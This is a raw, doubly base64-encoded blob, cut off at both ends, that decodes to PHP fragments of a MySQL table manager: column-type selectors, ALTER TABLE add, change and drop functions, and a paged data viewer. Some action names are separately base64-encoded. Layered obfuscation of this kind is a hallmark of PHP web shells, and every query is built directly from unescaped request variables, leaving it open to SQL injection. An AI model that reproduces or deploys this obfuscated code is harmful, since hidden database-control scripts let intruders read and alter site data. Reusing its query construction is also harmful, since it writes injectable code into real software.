WtOSVFWSWlJQ2M3SUdsbUtDQWtkSGx3WlNBOVBTQWlZMmhoY2lJZ0tTQmxZMmh2SUNKamFHVmphMlZrSWp0bFkyaHZJQ2MrUTBoQlVqd3ZkR1ErRFFvOGRHUWdZV3hwWjI0OVkyVnVkR1Z5UGs4OEwzUmtQZzBLUEhSa1BpWnVZbk53UEM5MFpENE5DangwWkQ0bWJtSnpjRHd2ZEdRK0RRbzhkR1ErSm01aWMzQThMM1JrUGcwS1BIUmtJR0ZzYVdkdVBXTmxiblJsY2o1UFBDOTBaRDROQ2p3dmRISStEUW84ZEhJK0RRbzhkR1ErUEdsdWNIVjBJSFI1Y0dVOWNtRmthVzhnYm1GdFpUMTBlWEJsSUhaaGJIVmxQU0pXUVZKRFNFRlNJaUFuT3lCcFppZ2dKSFI1Y0dVZ1BUMGdJblpoY21Ob1lYSWlJQ2tnWldOb2J5QWlZMmhsWTJ0bFpDSTdaV05vYnlBblBsWkJVa05JUVZJOEwzUmtQZzBLUEhSa0lHRnNhV2R1UFdObGJuUmxjajVQUEM5MFpENE5DangwWkQ0bWJtSnpjRHd2ZEdRK0RRbzhkR1ErSm01aWMzQThMM1JrUGcwS1BIUmtQaVp1WW5Od1BDOTBaRDROQ2p4MFpDQmhiR2xuYmoxalpXNTBaWEkrVHp3dmRHUStEUW84TDNSeVBnMEtQSFJ5UGcwS1BIUmtQanhwYm5CMWRDQjBlWEJsUFhKaFpHbHZJRzVoYldVOWRIbHdaU0IyWVd4MVpUMGlWRWxPV1ZSRldGUWlJQ2M3SUdsbUtDQWtkSGx3WlNBOVBTQWlkR2x1ZVhSbGVIUWlJQ2tnWldOb2J5QWlZMmhsWTJ0bFpDSTdaV05vYnlBblBsUkpUbGxVUlZoVUlDZ3dJSDRnTWpVMUtUd3ZkR1ErRFFvOGRHUStKbTVpYzNBOEwzUmtQZzBLUEhSa1BpWnVZbk53UEM5MFpENE5DangwWkQ0bWJtSnpjRHd2ZEdRK0RRbzhkR1ErSm01aWMzQThMM1JrUGcwS1BIUmtQaVp1WW5Od1BDOTBaRDROQ2p3dmRISStEUW84ZEhJK0RRbzhkR1ErUEdsdWNIVjBJSFI1Y0dVOWNtRmthVzhnYm1GdFpUMTBlWEJsSUhaaGJIVmxQU0pVUlZoVUlpQW5PeUJwWmlnZ0pIUjVjR1VnUFQwZ0luUmxlSFFpSUNrZ1pXTm9ieUFpWTJobFkydGxaQ0k3WldOb2J5QW5QbFJGV0ZRZ0tEQWdmaUEyTlRVek5TazhMM1JrUGcwS1BIUmtQaVp1WW5Od1BDOTBaRDROQ2p4MFpENG1ibUp6Y0R3dmRHUStEUW84ZEdRK0ptNWljM0E4TDNSa1BnMEtQSFJrUGladVluTndQQzkwWkQ0TkNqeDBaRDRtYm1KemNEd3ZkR1ErRFFvOEwzUnlQZzBLUEhSeVBnMEtQSFJrUGp4cGJuQjFkQ0IwZVhCbFBYSmhaR2x2SUc1aGJXVTlkSGx3WlNCMllXeDFaVDBpVFVWRVNWVk5WRVZZVkNJZ0p6c2dhV1lvSUNSMGVYQmxJRDA5SUNKdFpXUnBkVzEwWlhoMElpQXBJR1ZqYUc4Z0ltTm9aV05yWldRaU8yVmphRzhnSno1TlJVUkpWVTFVUlZoVUlDZ3dJSDRnTVRZM056Y3lNVFVwUEM5MFpENE5DangwWkQ0bWJtSnpjRHd2ZEdRK0RRbzhkR1ErSm01aWMzQThMM1JrUGcwS1BIUmtQaVp1WW5Od1BDOTBaRDROQ2p4MFpENG1ibUp6Y0R3dmRHUStEUW84ZEdRK0ptNWljM0E4TDNSa1BnMEtQQzkwY2o0TkNqeDBjajROQ2p4MFpENDhhVzV3ZFhRZ2RIbHdaVDF5WVdScGJ5QnVZVzFsUFhSNWNHVWdkbUZzZFdVOUlreFBUa2RVUlZoVUlpQW5PeUJwWmlnZ0pIUjVjR1VnUFQwZ0lteHZibWQwWlhoMElpQXBJR1ZqYUc4Z0ltTm9aV05yWldRaU8yVmphRzhnSno1TVQwNUhWRVZZVkNBb01DQitJRFF5T1RRNU5qY3lPVFVwUEM5MFpENE5DangwWkQ0bWJtSnpjRHd2ZEdRK0RRbzhkR1ErSm01aWMzQThMM1JrUGcwS1BIUmtQaVp1WW5Od1BDOTBaRDROQ2p4MFpENG1ibUp6Y0R3dmRHUStEUW84ZEdRK0ptNWljM0E4TDNSa1BnMEtQQzkwY2o0TkNqeDBjajROQ2p4MFpENDhhVzV3ZFhRZ2RIbHdaVDF5WVdScGJ5QnVZVzFsUFhSNWNHVWdkbUZzZFdVOUlsUkpUbGxDVEU5Q0lpQW5PeUJwWmlnZ0pIUjVjR1VnUFQwZ0luUnBibmxpYkc5aUlpQXBJR1ZqYUc4Z0ltTm9aV05yWldRaU8yVmphRzhnSno1VVNVNVpRa3hQUWlBb01DQitJREkxTlNrOEwzUmtQZzBLUEhSa1BpWnVZbk53UEM5MFpENE5DangwWkQ0bWJtSnpjRHd2ZEdRK0RRbzhkR1ErSm01aWMzQThMM1JrUGcwS1BIUmtQaVp1WW5Od1BDOTBaRDROQ2p4MFpENG1ibUp6Y0R3dmRHUStEUW84TDNSeVBnMEtQSFJ5UGcwS1BIUmtQanhwYm5CMWRDQjBlWEJsUFhKaFpHbHZJRzVoYldVOWRIbHdaU0IyWVd4MVpUMGlRa3hQUWlJZ0p6c2dhV1lvSUNSMGVYQmxJRDA5SUNKaWJHOWlJaUFwSUdWamFHOGdJbU5vWldOclpXUWlPMlZqYUc4Z0p6NUNURTlDSUNnd0lINGdOalUxTXpVcFBDOTBaRDROQ2p4MFpENG1ibUp6Y0R3dmRHUStEUW84ZEdRK0ptNWljM0E4TDNSa1BnMEtQSFJrUGladVluTndQQzkwWkQ0TkNqeDBaRDRtYm1KemNEd3ZkR1ErRFFvOGRHUStKbTVpYzNBOEwzUmtQZzBLUEM5MGNqNE5DangwY2o0TkNqeDBaRDQ4YVc1d2RYUWdkSGx3WlQxeVlXUnBieUJ1WVcxbFBYUjVjR1VnZG1Gc2RXVTlJazFGUkVsVlRVSk1UMElpSUNjN0lHbG1LQ0FrZEhsd1pTQTlQU0FpYldWa2FYVnRZbXh2WWlJZ0tTQmxZMmh2SUNKamFHVmphMlZrSWp0bFkyaHZJQ2MrVFVWRVNWVk5Ra3hQUWlBb01DQitJREUyTnpjM01qRTFLVHd2ZEdRK0RRbzhkR1ErSm01aWMzQThMM1JrUGcwS1BIUmtQaVp1WW5Od1BDOTBaRDROQ2p4MFpENG1ibUp6Y0R3dmRHUStEUW84ZEdRK0ptNWljM0E4TDNSa1BnMEtQSFJrUGladVluTndQQzkwWkQ0TkNqd3ZkSEkrRFFvOGRISStEUW84ZEdRK1BHbHVjSFYwSUhSNWNHVTljbUZrYVc4Z2JtRnRaVDEwZVhCbElIWmhiSFZsUFNKTVQwNUhRa3hQUWlJZ0p6c2dhV1lvSUNSMGVYQmxJRDA5SUNKc2IyNW5ZbXh2WWlJZ0tTQmxZMmh2SUNKamFHVmphMlZrSWp0bFkyaHZJQ2MrVEU5T1IwSk1UMElnS0RBZ2ZpQTBNamswT1RZM01qazFLVHd2ZEdRK0RRbzhkR1ErSm01aWMzQThMM1JrUGcwS1BIUmtQaVp1WW5Od1BDOTBaRDROQ2p4MFpENG1ibUp6Y0R3dmRHUStEUW84ZEdRK0ptNWljM0E4TDNSa1BnMEtQSFJrUGladVluTndQQzkwWkQ0TkNqd3ZkSEkrRFFvOGRISStEUW84ZEdRK1BHbHVjSFYwSUhSNWNHVTljbUZrYVc4Z2JtRnRaVDEwZVhCbElIWmhiSFZsUFNKRlRsVk5JaUFuT3lCcFppZ2dKSFI1Y0dVZ1BUMGdJbVZ1ZFcwaUlDa2daV05vYnlBaVkyaGxZMnRsWkNJN1pXTm9ieUFuUGtWT1ZVMDhMM1JrUGcwS1BIUmtJR052YkhOd1lXNDlOVDQ4WTJWdWRHVnlQblpoYkhWbElHeHBjM1E4TDJObGJuUmxjajQ4TDNSa1BnMEtQQzkwY2o0TkNqeDBjajROQ2p4MFpENDhhVzV3ZFhRZ2RIbHdaVDF5WVdScGJ5QnVZVzFsUFhSNWNHVWdkbUZzZFdVOUlsTkZWQ0lnSnpzZ2FXWW9JQ1IwZVhCbElEMDlJQ0p6WlhRaUlDa2daV05vYnlBaVkyaGxZMnRsWkNJN1pXTm9ieUFuUGxORlZEd3ZkR1ErRFFvOGRHUWdZMjlzYzNCaGJqMDFQanhqWlc1MFpYSStkbUZzZFdVZ2JHbHpkRHd2WTJWdWRHVnlQand2ZEdRK0RRbzhMM1J5UGcwS1BDOTBZV0pzWlQ0TkNqeDBZV0pzWlQ0TkNqeDBjajQ4ZEdnK1RUd3ZkR2crUEhSb1BrUThMM1JvUGp4MGFENTFibk5wWjI1bFpEd3ZkR2crUEhSb1BucGxjbTltYVd4c1BDOTBhRDQ4ZEdnK1ltbHVZWEo1UEM5MGFENDhkR2crZG1Gc2RXVWdiR2x6ZENBb1pYZzZJRnduWVhCd2JHVmNKeXdnWENkdmNtRnVaMlZjSnl3Z1hDZGlZVzVoYm1GY0p5a2dQQzkwYUQ0OEwzUnlQZzBLUEhSeVBnMEtQSFJrSUdGc2FXZHVQV05sYm5SbGNqNDhhVzV3ZFhRZ2RIbHdaVDEwWlhoMElITnBlbVU5TkNCdVlXMWxQVTBnSnpzZ2FXWW9JQ1JOSUNFOUlDSWlJQ2tnWldOb2J5QWlkbUZzZFdVOUpFMGlPMlZqYUc4Z0p6NDhMM1JrUGcwS1BIUmtJR0ZzYVdkdVBXTmxiblJsY2o0OGFXNXdkWFFnZEhsd1pUMTBaWGgwSUhOcGVtVTlOQ0J1WVcxbFBVUWdKenNnYVdZb0lDUkVJQ0U5SUNJaUlDa2daV05vYnlBaWRtRnNkV1U5SkVRaU8yVmphRzhnSno0OEwzUmtQZzBLUEhSa0lHRnNhV2R1UFdObGJuUmxjajQ4YVc1d2RYUWdkSGx3WlQxamFHVmphMkp2ZUNCdVlXMWxQWFZ1YzJsbmJtVmtJSFpoYkhWbFBTSlZUbE5KUjA1RlJDSWdKenNnYVdZb0lITjBjbkJ2Y3lnZ0pHWnBaV3hrZEhsd1pTd2dJblZ1YzJsbmJtVmtJaUFwSUNrZ1pXTm9ieUFpWTJobFkydGxaQ0k3WldOb2J5QW5Qand2ZEdRK0RRbzhkR1FnWVd4cFoyNDlZMlZ1ZEdWeVBqeHBibkIxZENCMGVYQmxQV05vWldOclltOTRJRzVoYldVOWVtVnliMlpwYkd3Z2RtRnNkV1U5SWxwRlVrOUdTVXhNSWlBbk95QnBaaWdnYzNSeWNHOXpLQ0FrWm1sbGJHUjBlWEJsTENBaWVtVnliMlpwYkd3aUlDa2dLU0JsWTJodklDSmphR1ZqYTJWa0lqdGxZMmh2SUNjK1BDOTBaRDROQ2p4MFpDQmhiR2xuYmoxalpXNTBaWEkrUEdsdWNIVjBJSFI1Y0dVOVkyaGxZMnRpYjNnZ2JtRnRaVDFpYVc1aGNua2dkbUZzZFdVOUlrSkpUa0ZTV1NJZ0p6c2dhV1lvSUhOMGNuQnZjeWdnSkdacFpXeGtkSGx3WlN3Z0ltSnBibUZ5ZVNJZ0tTQWdLU0JsWTJodklDSmphR1ZqYTJWa0lqdGxZMmh2SUNjK1BDOTBaRDROQ2p4MFpDQmhiR2xuYmoxalpXNTBaWEkrUEdsdWNIVjBJSFI1Y0dVOWRHVjRkQ0J6YVhwbFBUWXdJRzVoYldVOWRtRnNkV1ZzYVhOMElDYzdJR2xtS0NBa2RtRnNkV1ZzYVhOMElDRTlJQ0lpSUNrZ1pXTm9ieUFpZG1Gc2RXVTlYQ0lrZG1Gc2RXVnNhWE4wWENJaU8yVmphRzhnSno0OEwzUmtQZzBLUEM5MGNqNE5Dand2ZEdGaWJHVStEUW84YURNK1JteGhaM004TDJnelBnMEtQSFJoWW14bFBnMEtQSFJ5UGp4MGFENXViM1FnYm5Wc2JEd3ZkR2crUEhSb1BtUmxabUYxYkhRZ2RtRnNkV1U4TDNSb1BqeDBhRDVoZFhSdklHbHVZM0psYldWdWREd3ZkR2crUEhSb1BuQnlhVzFoY25rZ2EyVjVQQzkwYUQ0OEwzUnlQZzBLUEhSeVBnMEtQSFJrSUdGc2FXZHVQV05sYm5SbGNqNDhhVzV3ZFhRZ2RIbHdaVDFqYUdWamEySnZlQ0J1WVcxbFBXNXZkRjl1ZFd4c0lIWmhiSFZsUFNKT1QxUWdUbFZNVENJZ0p6c2dhV1lvSUNSbWFXVnNaRzUxYkd3Z0lUMGdJbGxGVXlJZ0tTQmxZMmh2SUNKamFHVmphMlZrSWp0bFkyaHZJQ2MrUEM5MFpENE5DangwWkNCaGJHbG5iajFqWlc1MFpYSStQR2x1Y0hWMElIUjVjR1U5ZEdWNGRDQnVZVzFsUFdSbFptRjFiSFJmZG1Gc2RXVWdKenNnYVdZb0lDUm1hV1ZzWkdSbFptRjFiSFFnSVQwZ0lpSWdLU0JsWTJodklDSjJZV3gxWlQwa1ptbGxiR1JrWldaaGRXeDBJanRsWTJodklDYytQQzkwWkQ0TkNqeDBaQ0JoYkdsbmJqMWpaVzUwWlhJK1BHbHVjSFYwSUhSNWNHVTlZMmhsWTJ0aWIzZ2dibUZ0WlQxaGRYUnZYMmx1WTNKbGJXVnVkQ0IyWVd4MVpUMGlRVlZVVDE5SlRrTlNSVTFGVGxRaUlDYzdJR2xtS0NBa1ptbGxiR1JsZUhSeVlTQTlQU0FpWVhWMGIxOXBibU55WlcxbGJuUWlJQ2tnWldOb2J5QWlZMmhsWTJ0bFpDSTdaV05vYnlBblBqd3ZkR1ErRFFvOGRHUWdZV3hwWjI0OVkyVnVkR1Z5UGp4cGJuQjFkQ0IwZVhCbFBXTm9aV05yWW05NElHNWhiV1U5Y0hKcGJXRnllVjlyWlhrZ2RtRnNkV1U5SWxCU1NVMUJVbGtnUzBWWklpQW5PeUJwWmlnZ0pHWnBaV3hrYTJWNUlEMDlJQ0pRVWtraUlDa2daV05vYnlBaVkyaGxZMnRsWkNJN1pXTm9ieUFuUGp3dmRHUStEUW84TDNSeVBnMEtQQzkwWVdKc1pUNE5Danh3UGljN0RRb0phV1lvSUNSamJXUWdQVDBnSW1Ga1pDSWdLUTBLQ1FsbFkyaHZJQ0k4YVc1d2RYUWdkSGx3WlQxemRXSnRhWFFnZG1Gc2RXVTlKMEZrWkNCR2FXVnNaQ2MrWEc0aU93MEtDV1ZzYzJVZ2FXWW9JQ1JqYldRZ1BUMGdJbVZrYVhRaUlDa05DZ2tKWldOb2J5QWlQR2x1Y0hWMElIUjVjR1U5YzNWaWJXbDBJSFpoYkhWbFBTZEZaR2wwSUVacFpXeGtKejVjYmlJN0RRb0paV05vYnlBaVBHbHVjSFYwSUhSNWNHVTlZblYwZEc5dUlIWmhiSFZsUFVOaGJtTmxiQ0J2YmtOc2FXTnJQU2RvYVhOMGIzSjVMbUpoWTJzb0tTYytYRzRpT3cwS0NXVmphRzhnSWp3dlptOXliVDVjYmlJN0RRcDlEUW9OQ21aMWJtTjBhVzl1SUcxaGJtRm5aVVpwWld4a1gzTjFZbTFwZENnZ0pHTnRaQ0FwSUhzTkNnbG5iRzlpWVd3Z0pHMTVjM0ZzU0dGdVpHeGxMQ0FrWkdKdVlXMWxMQ0FrZEdGaWJHVnVZVzFsTENBa2IyeGtYMjVoYldVc0lDUnVZVzFsTENBa2RIbHdaU3dnSkZCSVVGOVRSVXhHTENBa2NYVmxjbmxUZEhJc0lDUmxjbkpOYzJjc0RRb0pDU1JOTENBa1JDd2dKSFZ1YzJsbmJtVmtMQ0FrZW1WeWIyWnBiR3dzSUNSaWFXNWhjbmtzSUNSdWIzUmZiblZzYkN3Z0pHUmxabUYxYkhSZmRtRnNkV1VzSUNSaGRYUnZYMmx1WTNKbGJXVnVkQ3dnSkhCeWFXMWhjbmxmYTJWNUxDQWtkbUZzZFdWc2FYTjBPdzBLQ1dsbUtDQWtZMjFrSUQwOUlDSmhaR1FpSUNrTkNna0pKSEYxWlhKNVUzUnlJRDBnSWtGTVZFVlNJRlJCUWt4RklDUjBZV0pzWlc1aGJXVWdRVVJFSUNSdVlXMWxJQ0k3RFFvSlpXeHpaU0JwWmlnZ0pHTnRaQ0E5UFNBaVpXUnBkQ0lnS1EwS0NRa2tjWFZsY25sVGRISWdQU0FpUVV4VVJWSWdWRUZDVEVVZ0pIUmhZbXhsYm1GdFpTQkRTRUZPUjBVZ0pHOXNaRjl1WVcxbElDUnVZVzFsSUNJN0RRb0phV1lvSUNSTklDRTlJQ0lpSUNrTkNna0phV1lvSUNSRUlDRTlJQ0lpSUNrTkNna0pDU1J4ZFdWeWVWTjBjaUF1UFNBaUpIUjVjR1VvSkUwc0pFUXBJQ0k3RFFvSkNXVnNjMlVOQ2drSkNTUnhkV1Z5ZVZOMGNpQXVQU0FpSkhSNWNHVW9KRTBwSUNJN0RRb0paV3h6WlNCcFppZ2dKSFpoYkhWbGJHbHpkQ0FoUFNBaUlpQXBJSHNOQ2drSkpIWmhiSFZsYkdsemRDQTlJSE4wY21sd2MyeGhjMmhsY3lnZ0pIWmhiSFZsYkdsemRDQXBPdzBLQ1Fra2NYVmxjbmxUZEhJZ0xqMGdJaVIwZVhCbEtDUjJZV3gxWld4cGMzUXBJQ0k3RFFvSmZTQmxiSE5sRFFvSkNTUnhkV1Z5ZVZOMGNpQXVQU0FpSkhSNWNHVWdJanNOQ2dra2NYVmxjbmxUZEhJZ0xqMGdJaVIxYm5OcFoyNWxaQ0FrZW1WeWIyWnBiR3dnSkdKcGJtRnllU0FpT3cwS0NXbG1LQ0FrWkdWbVlYVnNkRjkyWVd4MVpTQWhQU0FpSWlBcERRb0pDU1J4ZFdWeWVWTjBjaUF1UFNBaVJFVkdRVlZNVkNBbkpHUmxabUYxYkhSZmRtRnNkV1VuSUNJN0RRb0pKSEYxWlhKNVUzUnlJQzQ5SUNJa2JtOTBYMjUxYkd3Z0pHRjFkRzlmYVc1amNtVnRaVzUwSWpzTkNnbHRlWE54YkY5elpXeGxZM1JmWkdJb0lDUmtZbTVoYldVc0lDUnRlWE54YkVoaGJtUnNaU0FwT3cwS0NXMTVjM0ZzWDNGMVpYSjVLQ0FrY1hWbGNubFRkSElzSUNSdGVYTnhiRWhoYm1Sc1pTQXBPdzBLQ1NSbGNuSk5jMmNnUFNCdGVYTnhiRjlsY25KdmNpZ3BPdzBLQ1M4dklHdGxlU0JqYUdGdVoyVU5DZ2trYTJWNVEyaGhibWRsSUQwZ1ptRnNjMlU3RFFvSkpISmxjM1ZzZENBOUlHMTVjM0ZzWDNGMVpYSjVLQ0FpVTBoUFZ5QkxSVmxUSUVaU1QwMGdKSFJoWW14bGJtRnRaU0lnS1RzTkNna2tjSEpwYldGeWVTQTlJQ0lpT3cwS0NYZG9hV3hsS0NBa2NtOTNJRDBnYlhsemNXeGZabVYwWTJoZllYSnlZWGtvSkhKbGMzVnNkQ2tnS1EwS0NRbHBaaWdnSkhKdmQxc2lTMlY1WDI1aGJXVWlYU0E5UFNBaVVGSkpUVUZTV1NJZ0tTQjdEUW9KQ1FscFppZ2dKSEp2ZDF0RGIyeDFiVzVmYm1GdFpWMGdQVDBnSkc1aGJXVWdLUTBLQ1FrSkNTUnJaWGxEYUdGdVoyVWdQU0IwY25WbE93MEtDUWtKWld4elpRMEtDUWtKQ1NSd2NtbHRZWEo1SUM0OUlDSXNJQ1J5YjNkYlEyOXNkVzF1WDI1aGJXVmRJanNOQ2drSmZRMEtDV2xtS0NBa2NISnBiV0Z5ZVY5clpYa2dQVDBnSWxCU1NVMUJVbGtnUzBWWklpQXBJSHNOQ2drSkpIQnlhVzFoY25rZ0xqMGdJaXdnSkc1aGJXVWlPdzBLQ1Fra2EyVjVRMmhoYm1kbElEMGdJU1JyWlhsRGFHRnVaMlU3RFFvSmZRMEtDU1J3Y21sdFlYSjVJRDBnYzNWaWMzUnlLQ0FrY0hKcGJXRnllU3dnTWlBcE93MEtDV2xtS0NBa2EyVjVRMmhoYm1kbElEMDlJSFJ5ZFdVZ0tTQjdEUW9KQ1NSeElEMGdJa0ZNVkVWU0lGUkJRa3hGSUNSMFlXSnNaVzVoYldVZ1JGSlBVQ0JRVWtsTlFWSlpJRXRGV1NJN0RRb0pDVzE1YzNGc1gzRjFaWEo1S0NBa2NTQXBPdzBLQ1Fra2NYVmxjbmxUZEhJZ0xqMGdJanhpY2o1Y2JpSWdMaUFrY1RzTkNna0pKR1Z5Y2sxelp5QXVQU0FpUEdKeVBseHVJaUF1SUcxNWMzRnNYMlZ5Y205eUtDazdEUW9KQ1NSeElEMGdJa0ZNVkVWU0lGUkJRa3hGSUNSMFlXSnNaVzVoYldVZ1FVUkVJRkJTU1UxQlVsa2dTMFZaS0NBa2NISnBiV0Z5ZVNBcElqc05DZ2tKYlhsemNXeGZjWFZsY25rb0lDUnhJQ2s3RFFvSkNTUnhkV1Z5ZVZOMGNpQXVQU0FpUEdKeVBseHVJaUF1SUNSeE93MEtDUWtrWlhKeVRYTm5JQzQ5SUNJOFluSStYRzRpSUM0Z2JYbHpjV3hmWlhKeWIzSW9LVHNOQ2dsOURRb0pkbWxsZDFOamFHVnRZU2dwT3cwS2ZRMEtEUXBtZFc1amRHbHZiaUJrY205d1JtbGxiR1FvS1NCN0RRb0paMnh2WW1Gc0lDUnRlWE54YkVoaGJtUnNaU3dnSkdSaWJtRnRaU3dnSkhSaFlteGxibUZ0WlN3Z0pHWnBaV3hrYm1GdFpTd2dKRkJJVUY5VFJVeEdMQ0FrY1hWbGNubFRkSElzSUNSbGNuSk5jMmM3RFFvSkpIRjFaWEo1VTNSeUlEMGdJa0ZNVkVWU0lGUkJRa3hGSUNSMFlXSnNaVzVoYldVZ1JGSlBVQ0JEVDB4VlRVNGdKR1pwWld4a2JtRnRaU0k3RFFvSmJYbHpjV3hmYzJWc1pXTjBYMlJpS0NBa1pHSnVZVzFsTENBa2JYbHpjV3hJWVc1a2JHVWdLVHNOQ2dsdGVYTnhiRjl4ZFdWeWVTZ2dKSEYxWlhKNVUzUnlJQ3dnSkcxNWMzRnNTR0Z1Wkd4bElDazdEUW9KSkdWeWNrMXpaeUE5SUcxNWMzRnNYMlZ5Y205eUtDazdEUW9KZG1sbGQxTmphR1Z0WVNncE93MEtmUTBLRFFwbWRXNWpkR2x2YmlCMmFXVjNSR0YwWVNnZ0pIRjFaWEo1VTNSeUlDa2dldzBLQ1dkc2IySmhiQ0FrWVdOMGFXOXVMQ0FrYlhsemNXeElZVzVrYkdVc0lDUmtZbTVoYldVc0lDUjBZV0pzWlc1aGJXVXNJQ1JRU0ZCZlUwVk1SaXdnSkdWeWNrMXpaeXdnSkhCaFoyVXNJQ1J5YjNkd1pYSndZV2RsTENBa2IzSmtaWEppZVRzTkNnbGxZMmh2SUNJOGFERStSR0YwWVNCcGJpQlVZV0pzWlR3dmFERStYRzRpT3cwS0NXbG1LQ0FrZEdGaWJHVnVZVzFsSUNFOUlDSWlJQ2tOQ2drSlpXTm9ieUFpUEhBZ1kyeGhjM005Ykc5allYUnBiMjQrSkdSaWJtRnRaU0FtWjNRN0lDUjBZV0pzWlc1aGJXVThMM0ErWEc0aU93MEtDV1ZzYzJVTkNna0paV05vYnlBaVBIQWdZMnhoYzNNOWJHOWpZWFJwYjI0K0pHUmlibUZ0WlR3dmNENWNiaUk3RFFvSkpIRjFaWEo1VTNSeUlEMGdjM1J5YVhCemJHRnphR1Z6S0NBa2NYVmxjbmxUZEhJZ0tUc05DZ2xwWmlnZ0pIRjFaWEo1VTNSeUlEMDlJQ0lpSUNrZ2V3MEtDUWtrY1hWbGNubFRkSElnUFNBaVUwVk1SVU5VSUNvZ1JsSlBUU0FrZEdGaWJHVnVZVzFsSWpzTkNna0phV1lvSUNSdmNtUmxjbUo1SUNFOUlDSWlJQ2tOQ2drSkNTUnhkV1Z5ZVZOMGNpQXVQU0FpSUU5U1JFVlNJRUpaSUNSdmNtUmxjbUo1SWpzTkNna0paV05vYnlBaVBHRWdhSEpsWmowbkpGQklVRjlUUlV4R1AyRmpkR2x2YmoxaFpHUkVZWFJoSm1SaWJtRnRaVDBrWkdKdVlXMWxKblJoWW14bGJtRnRaVDBrZEdGaWJHVnVZVzFsSno1QlpHUWdSR0YwWVR3dllUNGdmQ0JjYmlJN0RRb0pDV1ZqYUc4Z0lqeGhJR2h5WldZOUp5UlFTRkJmVTBWTVJqOWhZM1JwYjI0OWRtbGxkMU5qYUdWdFlTWmtZbTVoYldVOUpHUmlibUZ0WlNaMFlXSnNaVzVoYldVOUpIUmhZbXhsYm1GdFpTYytVMk5vWlcxaFBDOWhQbHh1SWpzTkNnbDlEUW9KSkhCU1pYTjFiSFFnUFNCdGVYTnhiRjlrWWw5eGRXVnllU2dnSkdSaWJtRnRaU3dnSkhGMVpYSjVVM1J5SUNrN0RRb0pKR1pwWld4a2RDQTlJRzE1YzNGc1gyWmxkR05vWDJacFpXeGtLQ1J3VW1WemRXeDBLVHNOQ2dra2RHRmliR1Z1WVcxbElEMGdKR1pwWld4a2RDMCtkR0ZpYkdVN0RRb0pKR1Z5Y2sxelp5QTlJRzE1YzNGc1gyVnljbTl5S0NrN0RRb0pKRWRNVDBKQlRGTmJjWFZsY25sVGRISmRJRDBnSkhGMVpYSjVVM1J5T3cwS0NXbG1LQ0FrY0ZKbGMzVnNkQ0E5UFNCbVlXeHpaU0FwSUhzTkNna0paV05vYjFGMVpYSjVVbVZ6ZFd4MEtDazdEUW9KQ1hKbGRIVnlianNOQ2dsOURRb0phV1lvSUNSd1VtVnpkV3gwSUQwOUlERWdLU0I3RFFvSkNTUmxjbkpOYzJjZ1BTQWlVM1ZqWTJWemN5STdEUW9KQ1dWamFHOVJkV1Z5ZVZKbGMzVnNkQ2dwT3cwS0NRbHlaWFIxY200N0RRb0pmUTBLQ1dWamFHOGdJanhvY2o1Y2JpSTdEUW9KSkhKdmR5QTlJRzE1YzNGc1gyNTFiVjl5YjNkektDQWtjRkpsYzNWc2RDQXBPdzBLQ1NSamIyd2dQU0J0ZVhOeGJGOXVkVzFmWm1sbGJHUnpLQ0FrY0ZKbGMzVnNkQ0FwT3cwS0NXbG1LQ0FrY205M0lEMDlJREFnS1NCN0RRb0pDV1ZqYUc4Z0lrNXZJRVJoZEdFZ1JYaHBjM1FoSWpzTkNna0pjbVYwZFhKdU93MEtDWDBOQ2dscFppZ2dKSEp2ZDNCbGNuQmhaMlVnUFQwZ0lpSWdLU0FrY205M2NHVnljR0ZuWlNBOUlETXdPdzBLQ1dsbUtDQWtjR0ZuWlNBOVBTQWlJaUFwSUNSd1lXZGxJRDBnTURzTkNnbGxiSE5sSUNSd1lXZGxMUzA3RFFvSmJYbHpjV3hmWkdGMFlWOXpaV1ZyS0NBa2NGSmxjM1ZzZEN3Z0pIQmhaMlVnS2lBa2NtOTNjR1Z5Y0dGblpTQXBPdzBLQ1dWamFHOGdJangwWVdKc1pTQmpaV3hzYzNCaFkybHVaejB4SUdObGJHeHdZV1JrYVc1blBUSStYRzRpT3cwS0NXVmphRzhnSWp4MGNqNWNiaUk3RFFvSlptOXlLQ0FrYVNBOUlEQTdJQ1JwSUR3Z0pHTnZiRHNnSkdrckt5QXBJSHNOQ2drSkpHWnBaV3hrSUQwZ2JYbHpjV3hmWm1WMFkyaGZabWxsYkdRb0lDUndVbVZ6ZFd4MExDQWthU0FwT3cwS0NRbGxZMmh2SUNJOGRHZytJanNOQ2drSmFXWW9KR0ZqZEdsdmJpQTlQU0FpWkcxc2JHUXdVbWhrUjBVOUlpa05DZ2tKQ1dWamFHOGdJanhoSUdoeVpXWTlKeVJRU0ZCZlUwVk1SajloWTNScGIyNDlaRzFzYkdRd1VtaGtSMFU5Sm1SaWJtRnRaVDBrWkdKdVlXMWxKblJoWW14bGJtRnRaVDBrZEdGaWJHVnVZVzFsSm05eVpHVnlZbms5SWk0a1ptbGxiR1F0UG01aGJXVXVJaWMrSWk0a1ptbGxiR1F0UG01aGJXVXVJand2WVQ1Y2JpSTdEUW9KQ1dWc2MyVU5DZ2tKQ1dWamFHOGdKR1pwWld4a0xUNXVZVzFsTGlKY2JpSTdEUW9KQ1dWamFHOGdJand2ZEdnK1hHNGlPdzBLQ1gwTkNnbGxZMmh2SUNJOGRHZ2dZMjlzYzNCaGJqMHlQa0ZqZEdsdmJqd3ZkR2crWEc0aU93MEtDV1ZqYUc4Z0lqd3ZkSEkrWEc0aU93MEtDV1p2Y2lnZ0pHa2dQU0F3T3lBa2FTQThJQ1J5YjNkd1pYSndZV2RsT3lBa2FTc3JJQ2tnZXcwS0NRa2tjbTkzUVhKeVlYa2dQU0J0ZVhOeGJGOW1aWFJqYUY5eWIzY29JQ1J3VW1WemRXeDBJQ2s3RFFvSkNXbG1LQ0FrY205M1FYSnlZWGtnUFQwZ1ptRnNjMlVnS1NCaWNtVmhhenNOQ2drSlpXTm9ieUFpUEhSeVBseHVJanNOQ2drSkpHdGxlU0E5SUNJaU93MEtDUWxtYjNJb0lDUnFJRDBnTURzZ0pHb2dQQ0FrWTI5c095QWthaXNySUNrZ2V3MEtDUWtKSkdSaGRHRWdQU0FrY205M1FYSnlZWGxiSkdwZE93MEtDUWtKSkdacFpXeGtJRDBnYlhsemNXeGZabVYwWTJoZlptbGxiR1FvSUNSd1VtVnpkV3gwTENBa2FpQXBPdzBLQ1FrSmFXWW9JQ1JtYVdWc1pDMCtjSEpwYldGeWVWOXJaWGtnUFQwZ01TQXBEUW9KQ1FrSkpHdGxlU0F1UFNBaUppSWdMaUFrWm1sbGJHUXRQbTVoYldVZ0xpQWlQU0lnTGlBa1pHRjBZVHNOQ2drSkNXbG1LQ0J6ZEhKc1pXNG9JQ1JrWVhSaElDa2dQaUF6TUNBcERRb0pDUWtKSkdSaGRHRWd